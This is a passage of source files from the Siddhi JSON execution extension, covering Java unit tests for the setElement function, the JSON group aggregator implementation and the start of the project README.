count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJsonObject1, event.getData(0)); break; case 2: AssertJUnit.assertEquals(expectedJsonObject2, event.getData(0)); break; case 3: AssertJUnit.assertEquals(expectedJsonObject3, event.getData(0)); break; case 4: AssertJUnit.assertEquals(expectedJsonObject4, event.getData(0)); break; case 5: AssertJUnit.assertEquals(expectedJsonObject5, event.getData(0)); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{JSON_INPUT, "$", "{key:\"value\"}", "key"}); inputHandler.send(new Object[]{JSON_INPUT, "$", "{key:\"value\",age:\"25\",boo:\"false\"}", "key"}); inputHandler.send(new Object[]{JSON_INPUT, "$", "{key:\"value\",age:25,boo:false}", "key"}); inputHandler.send(new Object[]{JSON_INPUT, "$", "25", "key"}); inputHandler.send(new Object[]{JSON_INPUT, "$", "false", "key"}); siddhiAppRuntime.shutdown(); } @Test public void testInsertTOJSONWithObjectInput() throws InterruptedException, ParseException { log.info("SetElementJSONFunctionTestCase - testInsertTOJSONWithObjectInput"); SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(json object,path string,jsonElement object,key string);\n"; String query = ("@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(json,path,jsonElement,key) as married\n" + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); JSONParser jsonParser = new JSONParser(JSONParser.DEFAULT_PERMISSIVE_MODE); JSONObject expectedJsonObject = (JSONObject) jsonParser.parse(EXPECTED_JSON); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJsonObject, event.getData(0)); break; } } } }); JSONObject inputJsonObject = (JSONObject) jsonParser.parse(JSON_INPUT); JSONObject jsonObjectToBeInserted = (JSONObject) jsonParser.parse("{key:\"value\"}"); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{inputJsonObject, "$", jsonObjectToBeInserted, "key"}); siddhiAppRuntime.shutdown(); } @Test public void testModifyPropertyInJSONWithObjectInput() throws InterruptedException, ParseException { String expectedJson = "{\"name\":\"Peter\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"]}"; String expectedJson2 = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\",\"Biology\"]}"; String expectedJson3 = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\",\"25\"]}"; log.info("SetElementJSONFunctionTestCase - testModifyPropertyInJSONWithObjectInput"); SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(json object,path string,jsonElement object,key string);\n"; String query = ("@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(json,path,jsonElement,key) as married\n" + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); JSONParser jsonParser = new JSONParser(JSONParser.DEFAULT_PERMISSIVE_MODE); JSONObject expectedJsonObject = (JSONObject) jsonParser.parse(expectedJson); JSONObject expectedJsonObject2 = (JSONObject) jsonParser.parse(expectedJson2); JSONObject expectedJsonObject3 = (JSONObject) jsonParser.parse(expectedJson3); JSONObject inputJsonObject = (JSONObject) jsonParser.parse(JSON_INPUT); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJsonObject, event.getData(0)); break; case 2: AssertJUnit.assertEquals(expectedJsonObject2, event.getData(0)); break; case 3: AssertJUnit.assertEquals(inputJsonObject, event.getData(0)); break; case 4: AssertJUnit.assertEquals(inputJsonObject, event.getData(0)); break; case 5: AssertJUnit.assertEquals(expectedJsonObject3, event.getData(0)); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{inputJsonObject, "$", "Peter", "name"}); inputHandler.send(new Object[]{inputJsonObject, "$.subjects", "Biology", ""}); inputHandler.send(new Object[]{inputJsonObject, "$..name", "Peter", "name"}); inputHandler.send(new Object[]{inputJsonObject, "$.xyz", "Peter", "name"}); inputHandler.send(new Object[]{inputJsonObject, "$.subjects", "25", ""}); siddhiAppRuntime.shutdown(); } @Test public void testModifyPropertyInJSONWithIntInput() throws InterruptedException, ParseException { String expectedJson = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"age\":25}"; log.info("SetElementJSONFunctionTestCase - testModifyPropertyInJSONWithIntInput"); SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(json object,path string,jsonElement int,key string);\n"; String query = ("@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(json,path,jsonElement,key) as married\n" + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); JSONParser jsonParser = new JSONParser(JSONParser.DEFAULT_PERMISSIVE_MODE); JSONObject expectedJsonObject = (JSONObject) jsonParser.parse(expectedJson); JSONObject inputJsonObject = (JSONObject) jsonParser.parse(JSON_INPUT); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJsonObject, event.getData(0)); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{inputJsonObject, "$", 25, "age"}); siddhiAppRuntime.shutdown(); } @Test public void testModifyPropertyInJSONWithDoubleInput() throws InterruptedException, ParseException { String expectedJson = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"age\":25.0}"; log.info("SetElementJSONFunctionTestCase - testModifyPropertyInJSONWithObjectInput"); SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(json object,path string,jsonElement double,key string);\n"; String query = ("@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(json,path,jsonElement,key) as married\n" + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); JSONParser jsonParser = new JSONParser(JSONParser.DEFAULT_PERMISSIVE_MODE); JSONObject expectedJsonObject = (JSONObject) jsonParser.parse(expectedJson); JSONObject inputJsonObject = (JSONObject) jsonParser.parse(JSON_INPUT); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJsonObject, event.getData(0)); break; } } } }); double age = 25; InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{inputJsonObject, "$", age, "age"}); siddhiAppRuntime.shutdown(); } @Test public void testModifyPropertyInJSONWithBoolInput() throws InterruptedException, ParseException { String expectedJson = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"age\":false}"; log.info("SetElementJSONFunctionTestCase - testModifyPropertyInJSONWithObjectInput"); SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(json object,path string,jsonElement bool,key string);\n"; String query = ("@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(json,path,jsonElement,key) as married\n" + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); JSONParser jsonParser = new JSONParser(JSONParser.DEFAULT_PERMISSIVE_MODE); JSONObject expectedJsonObject = (JSONObject) jsonParser.parse(expectedJson); JSONObject inputJsonObject = (JSONObject) jsonParser.parse(JSON_INPUT); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJsonObject, event.getData(0)); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{inputJsonObject, "$", false, "age"}); siddhiAppRuntime.shutdown(); } @Test public void testSetElement1() throws InterruptedException, ParseException { log.info("testSetElement1"); String expectedJson = "{name=Stationary, items=[\"pen\",\"book\"]}"; SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(foo string);\n"; String query = "@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(\"{'name' : 'Stationary', 'items' : ['pen']}\", " + " '$.items', 'book') as newJson\n" + "insert into OutputStream;"; SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJson, event.getData(0).toString()); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{"test"}); AssertJUnit.assertEquals(1, count.get()); siddhiAppRuntime.shutdown(); } @Test public void testSetElement2() throws InterruptedException, ParseException { log.info("testSetElement2"); String expectedJson = "{name=Stationary, item=book}"; SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(foo string);\n"; String query = "@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(\"{'name' : 'Stationary', 'item' : 'pen'}\", " + " '$.item', 'book') as newJson\n" + "insert into OutputStream;"; SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJson, event.getData(0).toString()); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{"test"}); AssertJUnit.assertEquals(1, count.get()); siddhiAppRuntime.shutdown(); } @Test public void testSetElement3() throws InterruptedException, ParseException { log.info("testSetElement3"); String expectedJson = "{name=Stationary, item=book}"; SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(foo string);\n"; String query = "@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(\"{'name' : 'Stationary', 'item' : 'pen'}\", " + " '$.item', 'book', 'item') as newJson\n" + "insert into OutputStream;"; SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJson, event.getData(0).toString()); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{"test"}); AssertJUnit.assertEquals(0, count.get()); siddhiAppRuntime.shutdown(); } @Test public void testSetElement4() throws InterruptedException, ParseException { log.info("testSetElement4"); String expectedJson = "{name=Stationary, item=book}"; SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(foo string);\n"; String query = "@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(\"{'name' : 'Stationary', 'item' : 'pen'}\", " + " '$', 'book', 'item') as newJson\n" + "insert into OutputStream;"; SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJson, event.getData(0).toString()); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{"test"}); AssertJUnit.assertEquals(1, count.get()); siddhiAppRuntime.shutdown(); } @Test public void testSetElement5() throws InterruptedException, ParseException { log.info("testSetElement5"); String expectedJson = "{name=Stationary, item=book}"; SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(foo string);\n"; String query = "@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(\"{'name' : 'Stationary'}\", " + " '$', 'book', 'item') as newJson\n" + "insert into OutputStream;"; SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { count.incrementAndGet(); switch (count.get()) { case 1: AssertJUnit.assertEquals(expectedJson, event.getData(0).toString()); break; } } } }); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("InputStream"); siddhiAppRuntime.start(); inputHandler.send(new Object[]{"test"}); AssertJUnit.assertEquals(1, count.get()); siddhiAppRuntime.shutdown(); } } <file_sep>/* * Copyright (c) 2019, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * you may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package io.siddhi.extension.execution.json.function; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import io.siddhi.annotation.Example; import io.siddhi.annotation.Extension; import io.siddhi.annotation.Parameter; import io.siddhi.annotation.ParameterOverload; import io.siddhi.annotation.ReturnAttribute; import io.siddhi.annotation.util.DataType; import io.siddhi.core.config.SiddhiQueryContext; import io.siddhi.core.exception.SiddhiAppRuntimeException; import io.siddhi.core.executor.ExpressionExecutor; import io.siddhi.core.query.processor.ProcessingMode; import io.siddhi.core.query.selector.attribute.aggregator.AttributeAggregatorExecutor; import io.siddhi.core.util.config.ConfigReader; import io.siddhi.core.util.snapshot.state.State; import io.siddhi.core.util.snapshot.state.StateFactory; import io.siddhi.query.api.definition.Attribute; import net.minidev.json.JSONArray; import net.minidev.json.JSONObject; import net.minidev.json.parser.JSONParser; import net.minidev.json.parser.ParseException; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.Map; import static io.siddhi.query.api.definition.Attribute.Type.STRING; import static net.minidev.json.parser.JSONParser.MODE_JSON_SIMPLE; /** * group(json, enclosing.element, distinct) * Returns JSON object as String by merging all JSON elements if enclosing element is provided. * Returns a JSON array as String by adding all JSON elements if enclosing element is not provided */ @Extension( name = "group", namespace = "json", description = "This function aggregates the JSON elements and returns a JSON object by adding " + "enclosing.element if it is provided. If enclosing.element is not provided it aggregate the JSON " + "elements returns a JSON array.", parameters = { @Parameter(name = "json", description = "The JSON element that needs to be aggregated.", type = {DataType.STRING, DataType.OBJECT}, dynamic = true), @Parameter(name = "enclosing.element", description = "The JSON element used to enclose the aggregated JSON elements.", type = {DataType.STRING}, optional = true, defaultValue = "EMPTY_STRING", dynamic = true), @Parameter(name = "distinct", description = "This is used to only have distinct JSON elements in the concatenated " + "JSON object/array that is returned.", type = {DataType.BOOL}, optional = true, defaultValue = "false", dynamic = true) }, parameterOverloads = { @ParameterOverload(parameterNames = {"json"}), @ParameterOverload(parameterNames = {"json", "distinct"}), @ParameterOverload(parameterNames = {"json", "enclosing.element"}), @ParameterOverload(parameterNames = {"json", "enclosing.element", "distinct"}) }, returnAttributes = @ReturnAttribute( description = "This returns a JSON object if enclosing element is provided. If there is no enclosing " + "element then it returns a JSON array.", type = {DataType.OBJECT}), examples = { @Example( syntax = "from InputStream#window.length(5)\n" + "select json:group(\"json\") as groupedJSONArray\n" + "input OutputStream;", description = "When we input events having values for the `json` as " + "`{\"date\":\"2013-11-19\",\"time\":\"10:30\"}` and " + "`{\"date\":\"2013-11-19\",\"time\":\"12:20\"}`, it" + " returns `[{\"date\":\"2013-11-19\",\"time\":\"10:30\"}" + "{\"date\":\"2013-11-19\",\"time\":\"12:20\"}]` to the 'OutputStream'."), @Example( syntax = "from InputStream#window.length(5)\n" + "select json:group(\"json\", true) as groupedJSONArray\n" + "input OutputStream;", description = "When we input events having values for the `json` as " + "`{\"date\":\"2013-11-19\",\"time\":\"10:30\"}` and " + "`{\"date\":\"2013-11-19\",\"time\":\"10:30\"}`, it" + " returns `[{\"date\":\"2013-11-19\",\"time\":\"10:30\"}]` to the 'OutputStream'."), @Example( syntax = "from InputStream#window.length(5)\n" + "select json:group(\"json\", \"result\") as groupedJSONArray\n" + "input OutputStream;", description = "When we input events having values for the `json` as " + "`{\"date\":\"2013-11-19\",\"time\":\"10:30\"}` and " + "`{\"date\":\"2013-11-19\",\"time\":\"12:20\"}`, it" + " returns `{\"result\":[{\"date\":\"2013-11-19\",\"time\":\"10:30\"}," + "{\"date\":\"2013-11-19\",\"time\":\"12:20\"}}` to the 'OutputStream'."), @Example( syntax = "from InputStream#window.length(5)\n" + "select json:group(\"json\", \"result\", true) as groupedJSONArray\n" + "input OutputStream;", description = "When we input events having values for the `json` as " + "`{\"date\":\"2013-11-19\",\"time\":\"10:30\"}` and " + "`{\"date\":\"2013-11-19\",\"time\":\"10:30\"}`, it" + " returns `{\"result\":[{\"date\":\"2013-11-19\",\"time\":\"10:30\"}]}` " + "to the 'OutputStream'.") } ) public class GroupAggregatorFunctionExtension extends AttributeAggregatorExecutor<GroupAggregatorFunctionExtension.ExtensionState> { private static final long serialVersionUID = 1L; private static final String KEY_DATA_MAP = "dataMap"; private SiddhiQueryContext siddhiQueryContext; private static final Gson gson = new GsonBuilder().serializeNulls().create(); @Override protected StateFactory<ExtensionState> init(ExpressionExecutor[] expressionExecutors, ProcessingMode processingMode, boolean b, ConfigReader configReader, SiddhiQueryContext siddhiQueryContext) { this.siddhiQueryContext = siddhiQueryContext; return () -> new ExtensionState(); } @Override public Object processAdd(Object o, ExtensionState state) { addJSONElement(o, state); return constructJSONString(null, false, state); } @Override public Object processAdd(Object[] objects, ExtensionState state) { addJSONElement(objects[0], state); return processJSONObject(objects, state); } @Override public Object processRemove(Object o, ExtensionState state) { removeJSONElement(o, state); return constructJSONString(null, false, state); } @Override public Object processRemove(Object[] objects, ExtensionState state) { removeJSONElement(objects[0], state); return processJSONObject(objects, state); } @Override public Object reset(ExtensionState state) { state.dataMap.clear(); return null; } @Override public Attribute.Type getReturnType() { return STRING; } private Object processJSONObject(Object[] objects, ExtensionState state) { if (objects.length == 3) { return constructJSONString(objects[1].toString(), Boolean.parseBoolean(objects[2].toString()), state); } else { if (objects[1] instanceof Boolean) { return constructJSONString(null, Boolean.parseBoolean(objects[1].toString()), state); } else { return constructJSONString(objects[1].toString(), false, state); } } } private void addJSONElement(Object json, ExtensionState state) { JSONObject jsonObject = getJSONObject(json); Integer count = state.dataMap.get(jsonObject); state.dataMap.put(jsonObject, (count == null) ? 1 : count + 1); } private void removeJSONElement(Object json, ExtensionState state) { JSONObject jsonObject = getJSONObject(json); Integer count = state.dataMap.get(jsonObject); if (count == 1) { state.dataMap.remove(jsonObject); } else if (count > 1) { state.dataMap.put(jsonObject, count - 1); } } private JSONObject getJSONObject(Object json) { JSONObject jsonObject; if (json instanceof JSONObject) { try { jsonObject = (JSONObject) json; } catch (ClassCastException e) { throw new SiddhiAppRuntimeException(siddhiQueryContext.getSiddhiAppContext().getName() + ":" + siddhiQueryContext.getName() + ": Provided value is not a valid JSON object." + json, e); } } else if (json instanceof Map) { JSONParser jsonParser = new JSONParser(MODE_JSON_SIMPLE); try { jsonObject = (JSONObject) jsonParser.parse(gson.toJson(json)); } catch (ParseException e) { throw new SiddhiAppRuntimeException(siddhiQueryContext.getSiddhiAppContext().getName() + ":" + siddhiQueryContext.getName() + ": Cannot parse the given json map into JSONObject." + json, e); } } else if (json == null) { jsonObject = null; } else { JSONParser jsonParser = new JSONParser(MODE_JSON_SIMPLE); try { jsonObject = (JSONObject) jsonParser.parse(json.toString()); } catch (ParseException e) { throw new SiddhiAppRuntimeException(siddhiQueryContext.getSiddhiAppContext().getName() + ":" + siddhiQueryContext.getName() + ": Cannot parse the given json into JSONObject." + json, e); } } return jsonObject; } private String constructJSONString(String enclosingElement, boolean isDistinct, ExtensionState state) { JSONArray jsonArray = new JSONArray(); if (!isDistinct) { for (Map.Entry<Object, Integer> entry : state.dataMap.entrySet()) { for (int i = 0; i < entry.getValue(); i++) { jsonArray.add(entry.getKey()); } } } else { jsonArray.addAll(state.dataMap.keySet()); } if (enclosingElement != null) { JSONObject jsonObject = new JSONObject(); jsonObject.put(enclosingElement, jsonArray); return jsonObject.toJSONString(); } return jsonArray.toJSONString(); } static class ExtensionState extends State { private final Map<String, Object> state = new HashMap<>(); private Map<Object, Integer> dataMap = new LinkedHashMap<>(); private ExtensionState() { state.put(KEY_DATA_MAP, dataMap); } @Override public boolean canDestroy() { return dataMap.isEmpty(); } @Override public Map<String, Object> snapshot() { return state; } @Override public void restore(Map<String, Object> map) { dataMap = (Map<Object, Integer>) map.get(KEY_DATA_MAP); } } } <file_sep>Siddhi Execution JSON ====================================== [![Jenkins Build Status](https://wso2.org/jenkins/job/siddhi/job/siddhi-execution-json/badge/icon)](https://wso2.org/jenkins/job/siddhi/job/siddhi-execution-json/) [![GitHub Release](https://img.shields.io/github/release/siddhi-io/siddhi-execution-json.svg)](https://github.com/siddhi-io/siddhi-execution-json/releases) [![GitHub Release Date](https://img.shields.io/github/release-date/siddhi-io/siddhi-execution-json.svg)](https://github.com/siddhi-io/siddhi-execution-json/releases) [![GitHub Open Issues](https://img.shields.io/github/issues-raw/siddhi-io/siddhi-execution-json.svg)](https://github.com/siddhi-io/siddhi-execution-json/issues) [![GitHub Last Commit](https://img.shields.io/github/last-commit/siddhi-io/siddhi-execution-json.svg)](https://github.com/siddhi-io/siddhi-execution-json/commits/master) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) The **siddhi-execution-json extension** is a <a target="_blank" href="https://siddhi.io/">Siddhi</a> extension that provides capability to retrieve, insert, and modify JSON elements. For information on <a target="_blank" href="https://siddhi.io/">Siddhi</a> and it's features refer <a target="_blank" href="https://siddhi.io/redirect/docs.html">Siddhi Documentation</a>. ## Download * Versions 2.x and above with group id `io.siddhi.extension.*` from <a target="_blank" href="https://mvnrepository.com/artifact/io.siddhi.extension.execution.json/siddhi-execution-json/">here</a>. * Versions 1.x and lower with group id `org.wso2.extension.siddhi.*` from <a target="_blank" href="https://mvnrepository.com/artifact/org.wso2.extension.siddhi.execution.json/siddhi-execution-json">here</a>. ## Latest API Docs Latest API Docs is <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10">2.0.10</a>. ## Features * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#group-aggregate-function">group</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#aggregate-function">Aggregate Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">This function aggregates the JSON elements and returns a JSON object by adding enclosing.element if it is provided. If enclosing.element is not provided it aggregate the JSON elements returns a JSON array.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#groupasobject-aggregate-function">groupAsObject</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#aggregate-function">Aggregate Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">This function aggregates the JSON elements and returns a JSON object by adding enclosing.element if it is provided. If enclosing.element is not provided it aggregate the JSON elements returns a JSON array.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getbool-function">getBool</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves the 'boolean' value specified in the given path of the JSON element.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getdouble-function">getDouble</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves the 'double' value specified in the given path of the JSON element.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getfloat-function">getFloat</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves the 'float' value specified in the given path of the JSON element.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getint-function">getInt</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves the 'int' value specified in the given path of the JSON element.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getlong-function">getLong</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves the 'long' value specified in the given path of the JSON element.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getobject-function">getObject</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves the object specified in the given path of the JSON element.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#getstring-function">getString</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function retrieves value specified in the given path of the JSON element as a string.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#isexists-function">isExists</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function checks whether there is a JSON element present in the given path or not.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#setelement-function">setElement</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function sets JSON element into a given JSON at the specific path.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#toobject-function">toObject</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function generate JSON object from the given JSON string.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#tostring-function">toString</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">Function</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Function generates a JSON string corresponding to a given JSON object.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#tokenize-stream-processor">tokenize</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#stream-processor">Stream Processor</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Stream processor tokenizes the given JSON into to multiple JSON string elements and sends them as separate events.</p></p></div> * <a target="_blank" href="https://siddhi-io.github.io/siddhi-execution-json/api/2.0.10/#tokenizeasobject-stream-processor">tokenizeAsObject</a> *(<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#stream-processor">Stream Processor</a>)*<br> <div style="padding-left: 1em;"><p><p style="word-wrap: break-word;margin: 0;">Stream processor tokenizes the given JSON into to multiple JSON object elements and sends them as separate events.</p></p></div> ## Dependencies There are no other dependencies needed for this extension. ## Installation For installing this extension on various siddhi execution environments refer Siddhi documentation section on <a target="_blank" href="https://siddhi.io/redirect/add-extensions.html">adding extensions</a>. ## Support and Contribution * We encourage users to ask questions and get support via <a target="_blank" href="https://stackoverflow.com/questions/tagged/siddhi">StackOverflow</a>, make sure to add the `siddhi` tag to the issue for better response. * If you find any issues related to the extension please report them on <a 